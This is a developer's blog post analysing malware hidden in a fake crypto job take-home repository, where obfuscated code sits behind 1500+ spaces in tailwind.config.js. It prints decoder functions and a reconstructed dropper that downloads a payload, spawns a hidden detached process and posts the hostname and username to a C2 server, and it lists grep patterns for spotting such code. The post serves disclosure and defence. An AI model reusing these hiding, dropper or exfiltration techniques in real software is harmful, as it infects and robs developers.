DEV Community

Cover image for I Got a Job Offer. But, It Came With Malware.
Deny Herianto
Deny Herianto

Posted on

I Got a Job Offer. But, It Came With Malware.

TL;DR

Recently, a recruiter approached me via Linkedin with a Web3/crypto frontend role. The interview process seemed standard, submitted my Resume/CV, some back-and-forth about my experience, and then this message:

The recruiter's message on LinkedIn, asking me to complete a take-home technical assignment with a GitHub repo link and urging quick completion

"After reviewing your background, we'd like to move forward with the next step in our hiring process." A GitHub repo link. A 60-minute time estimate. Urgency about rolling submissions. Classic pressure to move fast and not think too hard.

I've done dozens of these. So I cloned the repo, opened it in my editor, and was about to run yarn install when something made me pause. The codebase felt... heavy for a simple coding test. 440 files. A full Express backend with Uniswap and PancakeSwap router integrations. Wallet private key handling. Why would a "create a WalletStatus component" task need all of this?

So instead of running it, I opened Claude Code and asked it to audit the entire codebase for malware. What it found buried inside tailwind.config.js, hidden behind 1500+ invisible whitespace characters, was a multi-stage infostealer that would have fingerprinted my machine, downloaded a remote payload, spawned a hidden background process, and exfiltrated my data to a command-and-control server. All triggered the moment I ran yarn start.

I later found a LinkedIn post by Jithin KG describing this exact attack pattern, malware embedded in fake take-home assignments targeting developers in the crypto space. I wasn't the only one being targeted.

This article is a full technical breakdown of what I found, including the exact Claude Code audit process that uncovered it. If you're job hunting, especially in crypto, but honestly in any space that sends you repos to run locally, read this before you yarn install anything.


The Setup: Everything Looked Normal

The repo they sent me looked completely legitimate. It presented itself as an NFT Campaign Platform called "Yootribe," built with:

  • React 18 + Redux frontend
  • Express.js + SQLite backend
  • Tailwind CSS, ethers.js, Web3, Uniswap SDK
  • A clean README with setup instructions, sample login credentials (mtngtest@chain.biz / testpassword), and troubleshooting tips

The assignment was straightforward:

Create a WalletStatus.js component that checks wallet connection status and displays the wallet address. Add a route at /dashboard/wallet-status. Submit a Pull Request.

Reasonable scope. Clear acceptance criteria. MetaMask integration, exactly what you'd expect from a Web3 company hiring frontend developers. The codebase was large enough (~440 files, 56,000+ lines) that no sane person would audit every line before running yarn start.

That's exactly what they were counting on.


How Claude Code Found It: The Audit

Before touching yarn install, I opened Claude Code in the project directory and ran a simple prompt:

Analyze the entire codebase to determine
whether it contains any malware or
scam-related behavior.
Enter fullscreen mode Exit fullscreen mode

Pass 1: Broad Codebase Scan

Claude Code started by mapping the entire project structure, every file in src/, server/, public/, and root config files. It then ran parallel searches across the codebase for known threat indicators:

Suspicious imports and system access:

Searching for: child_process|exec(|execSync|spawn|fork(
Result: package.json:33, "child_process": "^1.0.2"
Enter fullscreen mode Exit fullscreen mode

It immediately flagged child_process, crypto, and fs as npm dependencies, Node.js built-ins that should never be installed as third-party packages.

Private key handling:

Searching for: privateKey|private_key|mnemonic|seed.?phrase
Results:
  src/components/Wallet/ExportWallet.js:71, {userData?.wallet_private_key}
  src/components/CreateWallet/Step4.js:46 , localStorage.setItem('key', wallet.privateKey)
Enter fullscreen mode Exit fullscreen mode

It found private keys stored in plaintext in localStorage and exposed through unprotected API endpoints, the sniping bot backend accepts raw private keys via HTTP POST and stores them in an unencrypted SQLite database.

The server is a front-running bot:

Claude Code read every controller file and identified that the "NFT Campaign Platform" was actually a fully functional MEV (Maximal Extractable Value) exploit tool:

  • server/controllers/snippingController.js, monitors the Ethereum mempool for addLiquidity events and front-runs them
  • server/controllers/frontController.js, 870 lines of code that copies other wallets' pending buy/sell transactions and executes them first for profit, supporting Uniswap V2, V3, and Universal Router
  • Zero authentication on bot control endpoints (POST /startSnipping, POST /startFront)

Pass 2: Deep Threat Vector Scan

But the broad scan didn't find actual malware yet, no eval(), no atob(), no obvious obfuscation. So I asked Claude Code to go deeper:

Focus on detecting:
- Dynamic code execution
- Remote payload downloads
- Obfuscated or intentionally hidden code
- Unexpected background process creation
- Unusual file or system access patterns
Enter fullscreen mode Exit fullscreen mode

Claude Code ran targeted regex searches across every .js, .jsx, .ts, and .tsx file:

Searching for: eval(|new Function(|setTimeout([^,]*[`"'][^)]*)|
               setInterval([^,]*[`"'][^)]*)|Reflect.|Proxy(
Searching for: atob(|btoa(|Buffer.from(|toString(.*(hex|base64|ascii)|
               fromCharCode|charCodeAt
Searching for: fetch(|axios.(get|post)|http.request|https.request|
               request(|XMLHttpRequest
Searching for: child_process|exec(|execSync|execFile|spawn(|spawnSync|
               fork(|Worker(|cluster.|process.kill|process.exit|daemon
Searching for: fs.(read|write|unlink|rm|mkdir|access|stat|open|append)|
               readFileSync|writeFileSync|createReadStream|os.(homedir|
               tmpdir|platform|hostname|userInfo)
Enter fullscreen mode Exit fullscreen mode

Most results were clean, normal fetch() calls to the project's own API, standard process.env usage, Sequelize's fs.readdirSync for model loading.

Then it hit tailwind.config.js.

Claude Code read the file and found that line 18 didn't end at column 3. After the };, there were over 1500 space characters, and then a massive block of obfuscated JavaScript starting with const a0ai=a0a1,a0aj=a0a1,a0ak=a0a1....

My editor never showed this. git diff --stat showed tailwind.config.js | 18 lines, looks normal. But Claude Code reads the full raw content of every file, including characters past column 1500.

Pass 3: Decoding the Malware

Claude Code then decoded the obfuscated payload without executing it. It used Node.js to safely reverse the base64 and XOR encoding:

// Claude Code ran this to decode the malware's string table:
const n = a0 => {
  s1 = a0.substring(1);
  return Buffer.from(s1, 'base64').toString('utf8');
};

// Decoded results:
// 'os'            , operating system module
// 'fs'            , filesystem module
// 'request'       , HTTP client
// 'path'          , path utilities
// 'child_process' , process spawning
// 'platform'      , os.platform()
// 'tmpdir'        , os.tmpdir()
// 'hostname'      , os.hostname()
// 'username'      , os.userInfo().username
// 'spawn'         , child_process.spawn()
// 'exec'          , child_process.exec()
// 'writeFileSync' , fs.writeFileSync()
// 'existsSync'    , fs.existsSync()
// 'statSync'      , fs.statSync()
// 'mkdirSync'     , fs.mkdirSync()
// 'get'           , request.get()
// 'post'          , request.post()
Enter fullscreen mode Exit fullscreen mode

From this, Claude Code reconstructed the entire attack chain and confirmed it hits all five threat vectors:

Threat Vector Found Details
Dynamic code execution Yes child_process.exec() and spawn() with windowsHide: true
Remote payload download Yes request.get() downloads from dynamically constructed C2 URL
Obfuscated code Yes Base64 + XOR + string array rotation + 1500-char whitespace hiding
Background process creation Yes spawn({detached: true}) + unref() creates orphaned daemon
Unusual system access Yes Reads hostname, username, platform, tmpdir; writes to temp; POSTs to C2

All of this was found without running a single line of the project's code.


The Hidden Payload: 1500 Spaces of Silence

The malware lives in one file: tailwind.config.js.

Here's what you see if you open it:

/** @type {import('tailwindcss').Config} */
module.exports = {
  content: [
    "./src/**/*.{js,jsx,ts,tsx}",
    "./public/index.html",
  ],
  theme: {
    extend: {
      fontFamily: {
        'poppins': ['Poppins', 'sans-serif'],
      },
    },
  },
  plugins: [],
  corePlugins: {
    preflight: false,
  },
};
Enter fullscreen mode Exit fullscreen mode

A perfectly normal Tailwind config. But line 18 doesn't end at the semicolon. After the };, there are over 1500 space characters padding the line horizontally, followed by a massive block of obfuscated JavaScript:

};                                          (1500+ more spaces)                                          const a0ai=a0a1,a0aj=a0a1,a0ak=a0a1...
Enter fullscreen mode Exit fullscreen mode

Obfuscated Code

No editor will show this without horizontal scrolling. git diff won't flag it. Most code review tools render it as a clean, innocent config file.

This is the dropper.


Layer 1: The Obfuscation

The malicious code uses four stacked obfuscation techniques:

String Array Rotation

A shuffled array of 100+ base64-encoded strings is accessed via computed hex indices. The array is rotated at startup using an IIFE with a checksum:

(function(a0, a1) {
  const a2 = a0();
  while (!![]) {
    try {
      const a3 = parseInt(ab(0x1a0))/0x1 + parseInt(ab(0x1ed))/0x2 + ...
      if (a3 === a1) break;
      else a2['push'](a2['shift']());
    } catch(a4) { a2['push'](a2['shift']()); }
  }
})(a0a0, 0x7c2c2);
Enter fullscreen mode Exit fullscreen mode

This makes the string lookups position-dependent on runtime computation. You can't statically map indices to values.

Custom Base64 + XOR Decoder

Two decoding functions work in tandem:

// Base64 decoder (strips first char as salt, then decodes)
const n = a0 => {
  s1 = a0.substring(1);
  return Buffer.from(s1, 'base64').toString('utf8');
};

// XOR decoder with rotating 4-byte key
const T = [0x70, 0xa0, 0x89, 0x48];
const x = a0 => {
  let a2 = '';
  for (let a3 = 0; a3 < a0.length; a3++) {
    rr = ((a0[a3] ^ T[a3 & 0x3]) & 0xff);
    a2 = a2 + String.fromCharCode(rr);
  }
  return a2;
};
Enter fullscreen mode Exit fullscreen mode

Every sensitive string, module names, function names, URLs, runs through one or both of these before use.

String Fragmentation

Critical identifiers are split across multiple concatenations:

const c = 'base6' + '4';
const i = 'Rc3Bh' + a0ai(0x18b);   // → 'spawn'
const u = a0aj(0x1d4) + a0al(0x1e3) + 'A';  // → 'request'
Enter fullscreen mode Exit fullscreen mode

Variable Name Mangling

Every variable is a meaningless alphanumeric identifier: a0ai, a0aj, aG, aH, bk. Functions are called through proxy objects with obfuscated keys:

a1 = {
  'bPrTI': function(a5, a6) { return a5(a6); },
  'ylVwx': function(a5, a6) { return a5(a6); },
};
// Later: a0['bPrTI'](someFunc, someArg)  // just calls someFunc(someArg)
Enter fullscreen mode Exit fullscreen mode

Layer 2: What It Actually Does

After decoding every string, here's the reconstructed logic in plain English:

Imports

const os = require('os');
const fs = require('fs');
const request = require('request');  // HTTP client from package.json
const path = require('path');
const process = require('process');
const child_process = require('child_process');
Enter fullscreen mode Exit fullscreen mode

Note: request, child_process, crypto, and fs are all listed as explicit dependencies in package.json. That's not accidental, it ensures they're available after yarn install without raising suspicion since the project is a crypto app that might plausibly need them.

Step 1, System Fingerprinting

const tmpDir = os.tmpdir();
const hostname = os.hostname();
const platform = os.platform();     // 'darwin', 'win32', 'linux'
const userInfo = os.userInfo();
const username = userInfo.username;
const timestamp = Date.now().toString();
const scriptPath = process.argv[1];
Enter fullscreen mode Exit fullscreen mode

Collects everything needed to identify your machine uniquely.

Step 2, C2 URL Construction

The Command & Control server URL is never stored as a string. Instead, it's built dynamically from multiple encoded fragments:

// Simplified reconstruction:
const baseUrl = decode(M_or_X);  // switches between two C2 servers
const fullUrl = constructUrl(baseUrl, fragments, sessionId);
Enter fullscreen mode Exit fullscreen mode

Two hardcoded base64 values (M and X) serve as primary/fallback C2 addresses. The URL includes path segments derived from XOR-decoded byte arrays, making pattern-matching by security tools nearly impossible.

Step 3, Payload Download

request.get(c2url, (error, response, body) => {
  if (error) return;
  fs.writeFileSync(localPath, body);  // writes to temp dir
  executePayload(tempDir);
});
Enter fullscreen mode Exit fullscreen mode

Downloads a remote binary/script and writes it to a staging directory inside os.tmpdir(). The directory is created with fs.mkdirSync({recursive: true}).

Step 4, Hidden Execution

On Windows:

const child = spawn(process.execPath, [payload], {
  cwd: stageDir,
  stdio: 'ignore',
  windowsHide: true  // no visible window
});
child.unref();  // parent can exit, child keeps running
Enter fullscreen mode Exit fullscreen mode

On macOS/Linux:

const child = spawn(nodePath, [process.execPath, payload], {
  cwd: stageDir,
  detached: true,  // survives parent termination
  stdio: ['ignore', logFd, logFd]  // redirects to hidden log
});
child.unref();
Enter fullscreen mode Exit fullscreen mode

The detached: true + unref() combination is the key trick: it creates an orphaned process that continues running even after you close your terminal or kill the dev server. On Windows, windowsHide: true ensures no command prompt window flashes on screen.

Step 5, Data Exfiltration

const payload = {
  ts: timestamp,       // when
  type: identifier,    // campaign/session ID
  hid: hostname + '+' + username,  // who
  ss: sessionData,     // session context
  cc: process.argv[1]  // what script was running
};
request.post({ url: c2url, form: payload });
Enter fullscreen mode Exit fullscreen mode

Your machine identity is sent to the attacker's server. This likely serves as:

  • Confirmation of successful infection
  • Inventory for targeted follow-up attacks
  • Filtering (don't waste effort on VMs/sandboxes)

Step 6, Persistence Loop

let attempts = 0;
const retry = async () => {
  try {
    timestamp = Date.now().toString();
    await downloadAndExecute(0);
  } catch(e) {}
};

retry();
let interval = setInterval(() => {
  attempts += 1;
  if (attempts < 3) retry();
  else clearInterval(interval);
}, 616000);  // every ~10.3 minutes
Enter fullscreen mode Exit fullscreen mode

Runs immediately on import, then retries twice more at 10-minute intervals. Three total attempts to ensure the payload lands even if the C2 server is temporarily unreachable.


The Full Kill Chain

By the time your React app opens in the browser, the malware has already phoned home, dropped its payload, and started a hidden background process.


Red Flags I Almost Missed

Looking back, the signals were there, but they're easy to overlook when you're focused on completing an assignment:

1. Suspicious npm dependencies

"child_process": "^1.0.2",
"crypto": "^1.0.1",
"fs": "^0.0.1-security"
Enter fullscreen mode Exit fullscreen mode

These are Node.js built-ins. They should never appear as npm dependencies. The npm packages with these names are either stubs or historically flagged as supply-chain attack vectors. Listing them ensures they're resolvable by require() in any environment.

2. The request package

"request": "^2.88.2"
Enter fullscreen mode Exit fullscreen mode

The request npm package has been deprecated since 2020. A legitimate project in 2025+ would use axios (which is already in the deps) or node-fetch. The only reason request is here is because the malware needs it, and its presence is hidden among 80+ other dependencies.

3. The codebase is a crypto sniping bot

The server contains fully functional front-running and sniping bots that monitor the Ethereum mempool and exploit other users' transactions. Private keys are accepted via unprotected HTTP endpoints and stored in plaintext SQLite. This isn't just a vehicle for malware, the entire platform is an exploit tool.

4. One commit, one author

commit 70a3da95
Author: talent-labs <adfeca30@gmail.com>
Date:   Fri Jan 23 09:36:06 2026 +0900
    main/home-assignment
 438 files changed, 56441 insertions(+)
Enter fullscreen mode Exit fullscreen mode

The entire codebase was committed in a single commit by talent-labs <adfeca30@gmail.com>. No history. A throwaway email. No GitHub organization page, no company website that matches, no LinkedIn profiles of employees I could verify. The "company" existed just enough to send me a repo.


How to Protect Yourself

Use Claude Code to Audit Before You Run

As I showed earlier in this article, this is exactly how I caught the malware. Two prompts. A few minutes. No code executed.

Claude Code reads every line of every file in the repo, including the parts hidden past column 1500 that your editor never renders. It doesn't get tired, it doesn't skim, and it doesn't assume config files are safe.

If you're receiving repos from strangers, run them through Claude Code before you touch yarn install. The two prompts I used:

Analyze the entire codebase to determine
whether it contains any malware or
scam-related behavior.
Enter fullscreen mode Exit fullscreen mode
Focus on detecting:
- Dynamic code execution
- Remote payload downloads
- Obfuscated or intentionally hidden code
- Unexpected background process creation
- Unusual file or system access patterns
Enter fullscreen mode Exit fullscreen mode

It's not a silver bullet, but it caught what my eyes, my editor, and git diff all missed.

Manual checks you should also do:

  1. Scroll right. Open every config file and scroll to the end of every line. Or run:
   awk 'length > 200' **/*.{js,json,ts,jsx,tsx}
Enter fullscreen mode Exit fullscreen mode
  1. Search for obfuscation patterns:
   grep -rn 'eval\|Function(\|atob\|fromCharCode\|\\x[0-9a-f]' .
   grep -rn 'child_process\|\.exec(\|\.spawn(' .
   grep -rn 'Buffer\.from\|toString.*base64' .
Enter fullscreen mode Exit fullscreen mode
  1. Audit package.json:

    • Look for preinstall/postinstall scripts
    • Flag built-in Node modules listed as dependencies (fs, child_process, crypto, os, path)
    • Question deprecated packages (request)
  2. Use a VM or container. Always. Run take-home assignments in a disposable environment. Docker, a throwaway VM, or at minimum a separate user account with no access to your crypto wallets, SSH keys, or cloud credentials.

  3. Check line lengths in git:

   git diff --stat  # won't catch it
   git log -p | awk 'length > 500'  # will
Enter fullscreen mode Exit fullscreen mode
  1. Don't trust the file extension. Malware was in tailwind.config.js, a file you'd never think to audit. It could just as easily be in postcss.config.js, babel.config.js, jest.config.js, .eslintrc.js, or any config that gets require()'d at build time.

If you already ran it:

  1. Check for orphaned Node processes: ps aux | grep node
  2. Inspect your temp directory: ls -la $TMPDIR or ls -la /tmp
  3. Check for outbound connections: lsof -i -nP | grep node
  4. Rotate all credentials that were accessible from your machine, SSH keys, API tokens, crypto wallets, browser sessions
  5. Assume compromise. If you ran it on a machine with crypto wallets, move your assets immediately from a different device.

Final Thoughts

I almost ran this. I was one yarn start away from having my machine compromised, my SSH keys, my cloud credentials, my browser sessions, everything. The only reason I didn't is because the repo felt slightly too heavy for the task, and I decided to read before running.

But let's be honest: most of the time, we don't read. We're excited about a job opportunity. The repo looks professional. The task is reasonable. We want to impress the recruiter by submitting quickly. And that's exactly when we run yarn start without auditing 56,000 lines of code, including the 1500 invisible spaces hiding a backdoor in a Tailwind config.

The crypto/Web3 job market has become a hunting ground for these attacks. But the technique isn't limited to crypto, any take-home assignment in any tech stack can carry this payload. A Django project could hide it in settings.py. A Go project could hide it in go generate directives. A Rust project could hide it in build.rs.

What changed my workflow after this: I now run every take-home assignment through Claude Code before I touch yarn install. It takes two minutes and it reads every line, including the ones I can't see. It's not a silver bullet, but it caught what my eyes, my editor, and git diff all missed.

The rule is simple: if someone sends you code to run, treat it like someone handed you a USB drive in a parking lot. Inspect it. Sandbox it. And never run it on a machine that has access to anything you care about.


If this helped you, share it with someone who's job hunting. One yarn start is all it takes.

Top comments (0)